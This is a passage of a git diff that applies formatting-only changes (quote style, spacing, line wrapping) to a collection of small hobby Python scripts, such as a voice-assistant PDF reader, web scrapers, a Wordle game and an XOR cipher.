print(text) diff --git a/VoiceAssistant/Project_Basic_struct/textRead.py b/VoiceAssistant/Project_Basic_struct/textRead.py index 030c78501f0..bd0d147121b 100644 --- a/VoiceAssistant/Project_Basic_struct/textRead.py +++ b/VoiceAssistant/Project_Basic_struct/textRead.py @@ -3,167 +3,209 @@ import docx import fitz import time -from rich.console import Console # pip3 install Rich +from rich.console import Console # pip3 install Rich from rich.table import Table from colorama import Fore + def ms_word(): - """[Print and speak out a ms_word docx file as specified in the path] - """ + """[Print and speak out a ms_word docx file as specified in the path]""" # TODO : Take location input from the user try: speak("Enter the document's location - ") location = input("Enter the document's location - ") - - file_loc = doubleslash(location) - + + file_loc = doubleslash(location) + doc = docx.Document(file_loc) fullText = [] for para in doc.paragraphs: fullText.append(para.text) - #print(fullText) - doc_file = '\n'.join(fullText) + # print(fullText) + doc_file = "\n".join(fullText) print(doc_file) speak(doc_file) except Exception as exp: - #print(exp) + # print(exp) print(f"ERROR - {exp}") - print(Fore.YELLOW + "I could'nt locate the file!\nIf you didn't specify the extension of the file, please specify it.") + print( + Fore.YELLOW + + "I could'nt locate the file!\nIf you didn't specify the extension of the file, please specify it." + ) return "None" + def pdf_read(): - """[Print and speak out the pdf on specified path] - """ + """[Print and speak out the pdf on specified path]""" try: speak("Enter the document's location - ") location = input("Enter the document's location - ") - - path = doubleslash(location) + + path = doubleslash(location) pdf = fitz.open(path) - details = pdf.metadata # Stores the meta-data which generally includes Author name and Title of book/document. - total_pages = pdf.pageCount # Stores the total number of pages + details = pdf.metadata # Stores the meta-data which generally includes Author name and Title of book/document. + total_pages = pdf.pageCount # Stores the total number of pages except Exception as exp: print(f"ERROR - {exp}") - print(Fore.YELLOW + "I could'nt locate the file!\nIf you didn't specify the extension of the file, please specify it.") + print( + Fore.YELLOW + + "I could'nt locate the file!\nIf you didn't specify the extension of the file, please specify it." + ) return "None" - try : + try: """ 1. Author 2. Creator 3. Producer - 4. Title """ - - author = details["author"] - #print("Author : ",author) - + 4. Title """ + + author = details["author"] + # print("Author : ",author) + title = details["title"] - #print("Title : ",title) - - #print(details) - #print("Total Pages : ",total_pages) + # print("Title : ",title) + + # print(details) + # print("Total Pages : ",total_pages) book_details(author, title, total_pages) speak(f" Title {title}") speak(f" Author {author}") speak(f" Total Pages {total_pages}") - + # TODO : Deal with the Index toc = pdf.get_toc() - print("Say 1 or \"ONLY PRINT INDEX\" - if you want me to print the book's index.\nSay 2 if you want me to print and make me speak out the book's index.\nSay any key if you don't want to print the index.'") - speak("Say 1 or only print index if you want me to print the book's index.\nSay 2 if you want me to print and make me speak out the book's index.\nSay any key if you don't want to print the index.'") + print( + "Say 1 or \"ONLY PRINT INDEX\" - if you want me to print the book's index.\nSay 2 if you want me to print and make me speak out the book's index.\nSay any key if you don't want to print the index.'" + ) + speak( + "Say 1 or only print index if you want me to print the book's index.\nSay 2 if you want me to print and make me speak out the book's index.\nSay any key if you don't want to print the index.'" + ) q = hear().lower() - if "only print" in q or "1" in q or "one" in q or "vone" in q or 'only' in q or "index only" in q or 'only' in q or "print only" in q: + if ( + "only print" in q + or "1" in q + or "one" in q + or "vone" in q + or "only" in q + or "index only" in q + or "only" in q + or "print only" in q + ): print_index(toc) time.sleep(15) - elif "speak" in q or "2" in q or 'two' in q: + elif "speak" in q or "2" in q or "two" in q: print_n_speak_index(toc) time.sleep(10) elif q == "None": print("I could'nt understand what you just said!") speak("I could'nt understand what you just said!") time.sleep(4) - else: + else: time.sleep(4) pass - """Allow the user to do the following 1. Read/speak a page 2. Read/speak a range of pages 3. Lesson 4. Read/speak a whole book - """ - - #time.sleep(5) - - print("____________________________________________________________________________________________________________") - print("1. Print/speak a single page\n2. Print/speak a range of pages\n3. Print/speak a Lesson\n4. Read/speak a whole book") - speak("1. Print/speak a single page\n2. Print/speak a range of pages\n3. Print/speak a Lesson\n4. Read/speak a whole book") + """ + + # time.sleep(5) + + print( + "____________________________________________________________________________________________________________" + ) + print( + "1. Print/speak a single page\n2. Print/speak a range of pages\n3. Print/speak a Lesson\n4. Read/speak a whole book" + ) + speak( + "1. Print/speak a single page\n2. Print/speak a range of pages\n3. Print/speak a Lesson\n4. Read/speak a whole book" + ) q = hear().lower() - if "single" in q or "one" in q or "vone" in q or "one page" in q or "vone page" in q or "1 page" in q: + if ( + "single" in q + or "one" in q + or "vone" in q + or "one page" in q + or "vone page" in q + or "1 page" in q + ): try: pgno = int(input("Page Number - ")) page = pdf.load_page(pgno - 1) - text = page.get_text('text') + text = page.get_text("text") print("\n\n") - print(text.replace('\t',' ')) - speak(text.replace('\t',' ')) + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) except Exception: - print("Sorry, I could recognize what you entered. Please re-enter the Page Number.") - speak("Sorry, I could recognize what you entered. Please re-enter the Page Number.") + print( + "Sorry, I could recognize what you entered. Please re-enter the Page Number." + ) + speak( + "Sorry, I could recognize what you entered. Please re-enter the Page Number." + ) pgno = input("Page no. - ") page = pdf.load_page(pgno - 1) - text = page.get_text('text') - print(text.replace('\t',' ')) - speak(text.replace('\t',' ')) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) - - elif 'range' in q or "multiple" in q: + elif "range" in q or "multiple" in q: try: start_pg_no = int(input("Starting Page Number - ")) end_pg_no = int(input("End Page Number - ")) for i in range(start_pg_no - 1, end_pg_no): page = pdf.load_page(i) - text = page.get_text('text') - print(text.replace('\t',' ')) - speak(text.replace('\t',' ')) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) except Exception: - print("Sorry, I could recognize what you entered. Please re-enter the Page Number.") - speak("Sorry, I could recognize what you entered. Please re-enter the Page Number.") + print( + "Sorry, I could recognize what you entered. Please re-enter the Page Number." + ) + speak( + "Sorry, I could recognize what you entered. Please re-enter the Page Number." + ) start_pg_no = int(input("Starting Page Number - ")) end_pg_no = int(input("End Page Number - ")) for i in range(start_pg_no - 1, end_pg_no - 1): page = pdf.load_page(i) - text = page.get_text('text') - print(text.replace('\t',' ')) - speak(text.replace('\t',' ')) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) - elif 'lesson' in q: + elif "lesson" in q: try: key = input("Lesson name - ") start_pg_no, end_pg_no = search_in_toc(toc, key, total_pages) if start_pg_no != None and end_pg_no != None: - start_pg_no, end_pg_no = map(int,search_in_toc(toc, key, total_pages)) - + start_pg_no, end_pg_no = map( + int, search_in_toc(toc, key, total_pages) + ) + for i in range(start_pg_no - 1, end_pg_no): page = pdf.load_page(i) - text = page.get_text('text') - print(text.replace('\t',' ')) - speak(text.replace('\t',' ')) - else: + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + else: print("Try Again.") speak("Try Again.") speak("Lesson name") key = input("Lesson name - ") - start_pg_no, end_pg_no = map(int,search_in_toc(toc, key, total_pages)) + start_pg_no, end_pg_no = map( + int, search_in_toc(toc, key, total_pages) + ) if start_pg_no != None and end_pg_no != None: for i in range(start_pg_no - 1, end_pg_no): page = pdf.load_page(i) - text = page.get_text('text') - print(text.replace('\t',' ')) - speak(text.replace('\t',' ')) - + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + except Exception: print("Try Again! Lesson could not be found.") speak("Try Again.Lesson could not be found") @@ -171,23 +213,25 @@ def pdf_read(): key = input("Lesson name - ") start_pg_no, end_pg_no = search_in_toc(toc, key, total_pages) if start_pg_no != None and end_pg_no != None: - start_pg_no, end_pg_no = map(int,search_in_toc(toc, key, total_pages)) - + start_pg_no, end_pg_no = map( + int, search_in_toc(toc, key, total_pages) + ) + for i in range(start_pg_no - 1, end_pg_no): page = pdf.load_page(i) - text = page.get_text('text') - print(text.replace('\t',' ')) - speak(text.replace('\t',' ')) - else: + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + else: print("Sorry, I cannot find the perticular lesson.") speak("Sorry, I cannot find the perticular lesson.") - elif "whole" in q or 'complete' in q: + elif "whole" in q or "complete" in q: for i in range(total_pages): page = pdf.load_page(i) - text = page.get_text('text') - print(text.replace('\t',' ')) - speak(text.replace('\t',' ')) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) elif q == "None": print("I could'nt understand what you just said!") @@ -195,13 +239,14 @@ def pdf_read(): else: print("You didn't say a valid command!") time.sleep(5) - except Exception as e: + except Exception as e: print(e) pass pdf.close() + def doubleslash(text): - """Replaces / with // + """Replaces / with // Args: text (str): location @@ -209,7 +254,8 @@ def doubleslash(text): Returns: str: formatted location """ - return text.replace('\\' , '\\\\') + return text.replace("\\", "\\\\") + def print_index(toc): """Prints out the index in proper format with title name and page number @@ -218,14 +264,15 @@ def print_index(toc): toc (nested list): toc[1] - Topic name toc[2] - Page number """ - dash = "-"*(100 - 7) - space = " "*47 + dash = "-" * (100 - 7) + space = " " * 47 print(f"{space}INDEX") print(f"\n\nName : {dash} PageNo.\n\n\n") for topic in toc: - eq_dash = "-"*(100 - len(topic[1])) + eq_dash = "-" * (100 - len(topic[1])) print(f"{topic[1]} {eq_dash} {topic[2]}") - + + def print_n_speak_index(toc): """Along with printing, it speaks out the index too. @@ -233,15 +280,16 @@ def print_n_speak_index(toc): toc (nested list): toc[1] - Topic name toc[2] - Page number """ - dash = "-"*(100 - 7) - space = " "*47 + dash = "-" * (100 - 7) + space = " " * 47 print(f"{space}INDEX") print(f"\n\nName : {dash} PageNo.\n\n\n\n") for topic in toc: - eq_dash = "-"*(100 - len(topic[1])) + eq_dash = "-" * (100 - len(topic[1])) print(f"{topic[1]} {eq_dash} {topic[2]}") speak(f"{topic[1]} {topic[2]}") + def search_in_toc(toc, key, totalpg): """Searches a particular lesson name provided as a parameter in toc and returns its starting and ending page numbers. @@ -268,9 +316,9 @@ def search_in_toc(toc, key, totalpg): if topic[1] == key: return (topic[2], totalpg) elif topic[1].lower() == key: - return (topic[2], totalpg) - return None,None + return None, None + def book_details(author, title, total_pages): """Creates a table of book details like author name, title, and total pages. @@ -280,7 +328,7 @@ def book_details(author, title, total_pages): title (str): title of the book total_pages (int): total pages in the book """ - table = Table(title="\nBook Details :- ", show_lines = True) + table = Table(title="\nBook Details :- ", show_lines=True) table.add_column("Sr. No.", style="magenta", no_wrap=True) table.add_column("Property", style="cyan") @@ -292,7 +340,8 @@ def book_details(author, title, total_pages): console = Console() console.print(table) - -#ms_word() -#pdf_read() -#book_details("abc", "abcde", 12) + + +# ms_word() +# pdf_read() +# book_details("abc", "abcde", 12) diff --git a/VoiceAssistant/Project_Basic_struct/websiteWork.py b/VoiceAssistant/Project_Basic_struct/websiteWork.py index 501d691eaba..e00aa89022d 100644 --- a/VoiceAssistant/Project_Basic_struct/websiteWork.py +++ b/VoiceAssistant/Project_Basic_struct/websiteWork.py @@ -11,35 +11,33 @@ def google_search(): - """[Goes to google and searches the website asked by the user] - """ + """[Goes to google and searches the website asked by the user]""" google_search_link = "https://www.google.co.in/search?q=" google_search = "What do you want me to search on Google? " print(google_search) speak(google_search) - + query = hear() if query != "None": - webbrowser.open(google_search_link+query) + webbrowser.open(google_search_link + query) elif query == "None": print("I could'nt understand what you just said!") speak("I could'nt understand what you just said!") + def wiki_search(): - """[Speak out the summary in wikipedia and going to the website according to user's choice.] - """ + """[Speak out the summary in wikipedia and going to the website according to user's choice.]""" wiki_search = "What do you want me to search on Wikipedia? Please tell me the exact sentence or word to Search." wiki_search_link = "https://en.wikipedia.org/wiki/" - + print(wiki_search) speak(wiki_search) query = hear() try: - if query != "None": - results = wikipedia.summary(query, sentences = 2) + results = wikipedia.summary(query, sentences=2) print(results) speak(results) @@ -47,7 +45,16 @@ def wiki_search(): speak("Do you want me to open the Wikipedia page?") q = hear().lower() - if "yes" in q or "okay" in q or "ok" in q or "opun" in q or "opan" in q or "vopen" in q or "es" in q or "s" in q: + if ( + "yes" in q + or "okay" in q + or "ok" in q + or "opun" in q + or "opan" in q + or "vopen" in q + or "es" in q + or "s" in q + ): print(wiki_search_link + query) webbrowser.open(wiki_search_link + query) @@ -58,5 +65,6 @@ def wiki_search(): except Exception: print("Couldn't find") -#wiki_search() -#google_search() + +# wiki_search() +# google_search() diff --git a/Weather Scrapper/weather.py b/Weather Scrapper/weather.py index 3980d958bd6..788424522ac 100644 --- a/Weather Scrapper/weather.py +++ b/Weather Scrapper/weather.py @@ -1,4 +1,4 @@ -#TODO - refactor & clean code +# TODO - refactor & clean code import csv import time from datetime import datetime @@ -11,22 +11,22 @@ from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By -#TODO - Add input checking +# TODO - Add input checking city = input("City >") state = input("State >") -url = 'https://www.wunderground.com' +url = "https://www.wunderground.com" -#Supresses warnings and specifies the webdriver to run w/o a GUI +# Supresses warnings and specifies the webdriver to run w/o a GUI options = Options() options.headless = True -options.add_argument('log-level=3') +options.add_argument("log-level=3") driver = webdriver.Chrome(options=options) driver.get(url) -#----------------------------------------------------- +# ----------------------------------------------------- # Connected successfully to the site -#Passes the city and state input to the weather sites search box +# Passes the city and state input to the weather sites search box searchBox = driver.find_element(By.XPATH, '//*[@id="wuSearch"]') location = city + " " + state @@ -34,27 +34,40 @@ action = ActionChains(driver) searchBox.send_keys(location) element = WebDriverWait(driver, 10).until( - EC.presence_of_element_located((By.XPATH, '//*[@id="wuForm"]/search-autocomplete/ul/li[2]/a/span[1]')) + EC.presence_of_element_located( + (By.XPATH, '//*[@id="wuForm"]/search-autocomplete/ul/li[2]/a/span[1]') + ) ) searchBox.send_keys(Keys.RETURN) -#----------------------------------------------------- -#Gather weather data -#City - Time - Date - Temperature - Precipitation - Sky - Wind +# ----------------------------------------------------- +# Gather weather data +# City - Time - Date - Temperature - Precipitation - Sky - Wind -#waits till the page loads to begin gathering data +# waits till the page loads to begin gathering data precipitationElem = WebDriverWait(driver, 10).until( - EC.presence_of_element_located((By.XPATH, '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[1]')) + EC.presence_of_element_located( + ( + By.XPATH, + '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[1]', + ) + ) +) +precipitationElem = driver.find_element( + By.XPATH, + '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[1]', ) -precipitationElem = driver.find_element(By.XPATH, '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[1]') precip = "Precipitation:" + precipitationElem.text.split()[0] -windAndSkyElem = driver.find_element(By.XPATH, '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[2]') +windAndSkyElem = driver.find_element( + By.XPATH, + '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[2]', +) description = windAndSkyElem.text.split(". ") sky = description[0] temp = description[1] wind = description[2] -#Format the date and time +# Format the date and time time = datetime.now().strftime("%H:%M") today = date.today() date = today.strftime("%b-%d-%Y") diff --git a/Web Socket.py b/Web Socket.py index efb44bbbc21..8da7e224c00 100644 --- a/Web Socket.py +++ b/Web Socket.py @@ -1,13 +1,14 @@ # Program to print a data & it's Metadata of online uploaded file using "socket". import socket -skt_c=socket.socket(socket.AF_INET,socket.SOCK_STREAM) -skt_c.connect(('data.pr4e.org',80)) -link='GET http://data.pr4e.org/intro-short.txt HTTP/1.0\r\n\r\n'.encode() + +skt_c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +skt_c.connect(("data.pr4e.org", 80)) +link = "GET http://data.pr4e.org/intro-short.txt HTTP/1.0\r\n\r\n".encode() skt_c.send(link) while True: - data=skt_c.recv(512) - if len(data)<1: - break - print(data.decode()) + data = skt_c.recv(512) + if len(data) < 1: + break + print(data.decode()) skt_c.close() diff --git a/Webbrowser/tk-browser.py b/Webbrowser/tk-browser.py index cbbfd01bb3e..fc8b6ddebac 100644 --- a/Webbrowser/tk-browser.py +++ b/Webbrowser/tk-browser.py @@ -3,26 +3,28 @@ # Written by Sina Meysami # -from tkinter import * # pip install tk-tools -import tkinterweb # pip install tkinterweb +from tkinter import * # pip install tk-tools +import tkinterweb # pip install tkinterweb import sys + class Browser(Tk): def __init__(self): - super(Browser,self).__init__() + super(Browser, self).__init__() self.title("Tk Browser") try: browser = tkinterweb.HtmlFrame(self) browser.load_website("https://google.com") - browser.pack(fill="both",expand=True) + browser.pack(fill="both", expand=True) except Exception: sys.exit() - - + + def main(): browser = Browser() browser.mainloop() - + + if __name__ == "__main__": # Webbrowser v1.0 main() diff --git a/Wikipdedia/flask_rendering.py b/Wikipdedia/flask_rendering.py index 05c6d7494bf..4dc0432dc22 100644 --- a/Wikipdedia/flask_rendering.py +++ b/Wikipdedia/flask_rendering.py @@ -1,13 +1,13 @@ from flask import Flask, render_template, request import practice_beautifulsoap as data -app = Flask(__name__, template_folder='template') +app = Flask(__name__, template_folder="template") -@app.route('/', methods=["GET", "POST"]) +@app.route("/", methods=["GET", "POST"]) def index(): languages = data.lang() - return render_template('index.html', languages=languages) + return render_template("index.html", languages=languages) @app.route("/display", methods=["POST"]) @@ -19,8 +19,13 @@ def output(): soup_data = data.data(entered_topic, selected_language) soup_image = data.get_image_urls(entered_topic) - return render_template('output.html', heading=entered_topic.upper(), data=soup_data, - url=soup_image, language=selected_language) + return render_template( + "output.html", + heading=entered_topic.upper(), + data=soup_data, + url=soup_image, + language=selected_language, + ) if __name__ == "__main__": diff --git a/Wikipdedia/main.py b/Wikipdedia/main.py index 5596b44786f..c937c7cff1b 100644 --- a/Wikipdedia/main.py +++ b/Wikipdedia/main.py @@ -6,11 +6,11 @@ def print_hi(name): # Use a breakpoint in the code line below to debug your script. - print(f'Hi, {name}') # Press Ctrl+F8 to toggle the breakpoint. + print(f"Hi, {name}") # Press Ctrl+F8 to toggle the breakpoint. # Press the green button in the gutter to run the script. -if __name__ == '__main__': - print_hi('PyCharm') +if __name__ == "__main__": + print_hi("PyCharm") # See PyCharm help at https://www.jetbrains.com/help/pycharm/ diff --git a/Wikipdedia/practice_beautifulsoap.py b/Wikipdedia/practice_beautifulsoap.py index 00beb87fc44..01938c24139 100644 --- a/Wikipdedia/practice_beautifulsoap.py +++ b/Wikipdedia/practice_beautifulsoap.py @@ -8,11 +8,11 @@ def lang(): try: response = requests.get("https://www.wikipedia.org/") response.raise_for_status() - soup = BeautifulSoup(response.content, 'html.parser') + soup = BeautifulSoup(response.content, "html.parser") - for option in soup.find_all('option'): + for option in soup.find_all("option"): language = option.text - symbol = option['lang'] + symbol = option["lang"] language_symbols[language] = symbol return list(language_symbols.keys()) @@ -29,17 +29,19 @@ def data(selected_topic, selected_language): url = f"https://{symbol}.wikipedia.org/wiki/{selected_topic}" data_response = requests.get(url) data_response.raise_for_status() - data_soup = BeautifulSoup(data_response.content, 'html.parser') + data_soup = BeautifulSoup(data_response.content, "html.parser") - main_content = data_soup.find('div', {'id': 'mw-content-text'}) + main_content = data_soup.find("div", {"id": "mw-content-text"}) filtered_content = "" if main_content: for element in main_content.descendants: - if element.name in ['h1', 'h2', 'h3', 'h4', 'h5', 'h6']: - filtered_content += "\n" + element.get_text(strip=True).upper() + "\n" + if element.name in ["h1", "h2", "h3", "h4", "h5", "h6"]: + filtered_content += ( + "\n" + element.get_text(strip=True).upper() + "\n" + ) - elif element.name == 'p': + elif element.name == "p": filtered_content += element.get_text(strip=True) + "\n" return filtered_content @@ -54,11 +56,11 @@ def get_image_urls(query): search_url = f"https://www.google.com/search?q={query}&tbm=isch" image_response = requests.get(search_url) image_response.raise_for_status() - image_soup = BeautifulSoup(image_response.content, 'html.parser') + image_soup = BeautifulSoup(image_response.content, "html.parser") image_urls = [] - for img in image_soup.find_all('img'): - image_url = img.get('src') + for img in image_soup.find_all("img"): + image_url = img.get("src") if image_url and image_url.startswith("http"): image_urls.append(image_url) diff --git a/WikipediaModule.py b/WikipediaModule.py index dec5e2a5c0b..ca28501fa41 100644 --- a/WikipediaModule.py +++ b/WikipediaModule.py @@ -3,6 +3,7 @@ @author: Albert """ + from __future__ import print_function import wikipedia as wk diff --git a/Word_Dictionary/dictionary.py b/Word_Dictionary/dictionary.py index 39f15eb47ec..30028791152 100644 --- a/Word_Dictionary/dictionary.py +++ b/Word_Dictionary/dictionary.py @@ -1,8 +1,7 @@ from typing import Dict, List - -class Dictionary: +class Dictionary: def __init__(self): self.node = {} @@ -27,7 +26,7 @@ def list_words_from_node(self, node: Dict, spelling: str) -> None: self.words_list.append(spelling) return for ltr in node: - self.list_words_from_node(node[ltr], spelling+ltr) + self.list_words_from_node(node[ltr], spelling + ltr) def print_all_words_in_dictionary(self) -> List[str]: node = self.node @@ -45,8 +44,6 @@ def suggest_words_starting_with(self, prefix: str) -> List[str]: self.list_words_from_node(node, prefix) return self.words_list - - # Your Dictionary object will be instantiated and called as such: obj = Dictionary() @@ -59,4 +56,4 @@ def suggest_words_starting_with(self, prefix: str) -> List[str]: print(param_2) print(param_3) -print(obj.print_all_words_in_dictionary()) \ No newline at end of file +print(obj.print_all_words_in_dictionary()) diff --git a/Wordle/wordle.py b/Wordle/wordle.py index c4206704223..bd903796e90 100644 --- a/Wordle/wordle.py +++ b/Wordle/wordle.py @@ -26,9 +26,11 @@ import random # Load 5 letter word dictionary -with open("5 letter word dictionary.txt", 'r') as dictionary: +with open("5 letter word dictionary.txt", "r") as dictionary: # Read content of dictionary - dictionary = dictionary.read().split('\n') # This returns a list of all the words in the dictionary + dictionary = dictionary.read().split( + "\n" + ) # This returns a list of all the words in the dictionary # Choose a random word from the dictionary word = random.choice(dictionary) @@ -95,7 +97,6 @@ letter += 1 continue - answer_given = False do_not_add = False # Check if letter is in word @@ -105,7 +106,10 @@ if user_inp[letter] == i: return_answer += "G" else: - if not user_inp[word.index(user_inp[letter])] == word[word.index(user_inp[letter])]: + if ( + not user_inp[word.index(user_inp[letter])] + == word[word.index(user_inp[letter])] + ): return_answer += "Y" else: answer_given = False @@ -117,7 +121,7 @@ # Append checked letter to the list letters_checked if not do_not_add: - letters_checked.append(user_inp[letter]) + letters_checked.append(user_inp[letter]) letter += 1 diff --git a/XORcipher/XOR_cipher.py b/XORcipher/XOR_cipher.py index 4d6bdb2190a..c12dfdad2b0 100644 --- a/XORcipher/XOR_cipher.py +++ b/XORcipher/XOR_cipher.py @@ -1,20 +1,20 @@ """ - author: Christian Bender - date: 21.12.2017 - class: XORCipher - - This class implements the XOR-cipher algorithm and provides - some useful methods for encrypting and decrypting strings and - files. - - Overview about methods - - - encrypt : list of char - - decrypt : list of char - - encrypt_string : str - - decrypt_string : str - - encrypt_file : boolean - - decrypt_file : boolean +author: Christian Bender +date: 21.12.2017 +class: XORCipher + +This class implements the XOR-cipher algorithm and provides +some useful methods for encrypting and decrypting strings and +files. + +Overview about methods + +- encrypt : list of char +- decrypt : list of char +- encrypt_string : str +- decrypt_string : str +- encrypt_file : boolean +- decrypt_file : boolean """ diff --git a/Youtube Downloader With GUI/main.py b/Youtube Downloader With GUI/main.py index 21d5c534ad5..b21e4495a99 100644 --- a/Youtube Downloader With GUI/main.py +++ b/Youtube Downloader With GUI/main.py @@ -12,6 +12,8 @@ q = input("") if q == "shutdown": os.system("shutdown -s") + + # function progress to keep check of progress of function. def progress(stream=None, chunk=None, remaining=None): file_downloaded = file_size - remaining diff --git a/add_two_number.py b/add_two_number.py index 2824d2c1872..f83491cc2fd 100644 --- a/add_two_number.py +++ b/add_two_number.py @@ -1,17 +1,16 @@ user_input = (input("type type 'start' to run program:")).lower() -if user_input == 'start': +if user_input == "start": is_game_running = True else: is_game_running = False -while (is_game_running): +while is_game_running: num1 = int(input("enter number 1:")) num2 = int(input("enter number 2:")) - num3 = num1+num2 + num3 = num1 + num2 print(f"sum of {num1} and {num2} is {num3}") user_input = (input("if you want to discontinue type 'stop':")).lower() if user_input == "stop": is_game_running = False - diff --git a/add_two_nums.py b/add_two_nums.py index eacea797244..fde5ae987e9 100644 --- a/add_two_nums.py +++ b/add_two_nums.py @@ -1,9 +1,8 @@ __author__ = "Nitkarsh Chourasia" __version__ = "1.0" -def addition( - num1: typing.Union[int, float], - num2: typing.Union[int, float] -) -> str: + + +def addition(num1: typing.Union[int, float], num2: typing.Union[int, float]) -> str: """A function to add two given numbers.""" # Checking if the given parameters are numerical or not. diff --git a/agecalculator.py b/agecalculator.py index 094aa88ca46..86813e30f9f 100644 --- a/agecalculator.py +++ b/agecalculator.py @@ -4,52 +4,51 @@ from _datetime import * win = tk.Tk() -win.title('Age Calculate') -win.geometry('310x400') -# win.iconbitmap('pic.png') this is use extention ico then show pic +win.title("Age Calculate") +win.geometry("310x400") +# win.iconbitmap('pic.png') this is use extention ico then show pic ############################################ Frame ############################################ pic = tk.PhotoImage(file=r"E:\Python Practice\Age_calculate\pic.png") -win.tk.call('wm','iconphoto',win._w,pic) +win.tk.call("wm", "iconphoto", win._w, pic) -canvas=tk.Canvas(win,width=310,height=190) +canvas = tk.Canvas(win, width=310, height=190) canvas.grid() image = tk.PhotoImage(file=r"E:\Python Practice\Age_calculate\pic.png") -canvas.create_image(0,0,anchor='nw',image=image) +canvas.create_image(0, 0, anchor="nw", image=image) frame = ttk.Frame(win) -frame.place(x=40,y=220) - +frame.place(x=40, y=220) ############################################ Label on Frame ############################################ -name = ttk.Label(frame,text = 'Name : ',font = ('',12,'bold')) -name.grid(row=0,column=0,sticky = tk.W) +name = ttk.Label(frame, text="Name : ", font=("", 12, "bold")) +name.grid(row=0, column=0, sticky=tk.W) -year = ttk.Label(frame,text = 'Year : ',font = ('',12,'bold')) -year.grid(row=1,column=0,sticky = tk.W) +year = ttk.Label(frame, text="Year : ", font=("", 12, "bold")) +year.grid(row=1, column=0, sticky=tk.W) -month = ttk.Label(frame,text = 'Month : ',font = ('',12,'bold')) -month.grid(row=2,column=0,sticky = tk.W) +month = ttk.Label(frame, text="Month : ", font=("", 12, "bold")) +month.grid(row=2, column=0, sticky=tk.W) -date = ttk.Label(frame,text = 'Date : ',font = ('',12,'bold')) -date.grid(row=3,column=0,sticky = tk.W) +date = ttk.Label(frame, text="Date : ", font=("", 12, "bold")) +date.grid(row=3, column=0, sticky=tk.W) ############################################ Entry Box ############################################ -name_entry = ttk.Entry(frame,width=25) -name_entry.grid(row=0,column=1) +name_entry = ttk.Entry(frame, width=25) +name_entry.grid(row=0, column=1) name_entry.focus() -year_entry = ttk.Entry(frame,width=25) -year_entry.grid(row=1,column=1,pady=5) +year_entry = ttk.Entry(frame, width=25) +year_entry.grid(row=1, column=1, pady=5) -month_entry = ttk.Entry(frame,width=25) -month_entry.grid(row=2,column=1) +month_entry = ttk.Entry(frame, width=25) +month_entry.grid(row=2, column=1) -date_entry = ttk.Entry(frame,width=25) -date_entry.grid(row=3,column=1,pady=5) +date_entry = ttk.Entry(frame, width=25) +date_entry.grid(row=3, column=1, pady=5) def age_cal(): @@ -57,13 +56,12 @@ def age_cal(): year_entry.get() month_entry.get() date_entry.get() - cal = datetime.today()-(int(year_entry)) + cal = datetime.today() - (int(year_entry)) print(cal) -btn = ttk.Button(frame,text='Age calculate',command=age_cal) -btn.grid(row=4,column=1) - +btn = ttk.Button(frame, text="Age calculate", command=age_cal) +btn.grid(row=4, column=1) win.mainloop() diff --git a/armstrongnumber.py b/armstrongnumber.py index 2e714fa9db4..f4def08d440 100644 --- a/armstrongnumber.py +++ b/armstrongnumber.py @@ -10,7 +10,7 @@ temp = num while temp > 0: digit = temp % 10 - sum += digit ** 3 + sum += digit**3 temp //= 10 # display the result diff --git a/automail.py b/automail.py index a1407736ac9..c7a3f7ed236 100644 --- a/automail.py +++ b/automail.py @@ -1,6 +1,6 @@ -#find documentation for ezgmail module at https://pypi.org/project/EZGmail/ -#simple simon says module that interacts with google API to read the subject line of an email and respond to "Simon says:" -#DO NOT FORGET TO ADD CREDENTIALS.JSON AND TOKEN.JSON TO .GITIGNORE!!! +# find documentation for ezgmail module at https://pypi.org/project/EZGmail/ +# simple simon says module that interacts with google API to read the subject line of an email and respond to "Simon says:" +# DO NOT FORGET TO ADD CREDENTIALS.JSON AND TOKEN.JSON TO .GITIGNORE!!! import ezgmail import re @@ -9,19 +9,21 @@ check = True while check: recThreads = ezgmail.recent() - findEmail = re.compile(r'<(.*)@(.*)>') + findEmail = re.compile(r"<(.*)@(.*)>") i = 0 for msg in recThreads: - subEval = recThreads[i].messages[0].subject.split(' ') + subEval = recThreads[i].messages[0].subject.split(" ") sender = recThreads[i].messages[0].sender - if subEval[0] == 'Simon' and subEval[1] == 'says:': - subEval.remove('Simon') - subEval.remove('says:') - replyAddress = findEmail.search(sender).group(0).replace('<','').replace('>','') - replyContent = 'I am now doing ' + ' '.join(subEval) + if subEval[0] == "Simon" and subEval[1] == "says:": + subEval.remove("Simon") + subEval.remove("says:") + replyAddress = ( + findEmail.search(sender).group(0).replace("<", "").replace(">", "") + ) + replyContent = "I am now doing " + " ".join(subEval) ezgmail.send(replyAddress, replyContent, replyContent) ezgmail._trash(recThreads[i]) - if subEval[0] == 'ENDTASK': #remote kill command + if subEval[0] == "ENDTASK": # remote kill command check = False i += 1 - time.sleep(60) #change check frquency; default every minute \ No newline at end of file + time.sleep(60) # change check frquency; default every minute diff --git a/bank_managment_system/QTFrontend.py b/bank_managment_system/QTFrontend.py index 0e0b837fb44..2f67009e322 100644 --- a/bank_managment_system/QTFrontend.py +++ b/bank_managment_system/QTFrontend.py @@ -1,7 +1,7 @@ - from PyQt5 import QtCore, QtGui, QtWidgets import sys import backend + backend.connect_database() employee_data = None @@ -33,6 +33,7 @@ # === Reusable UI Component Functions === # 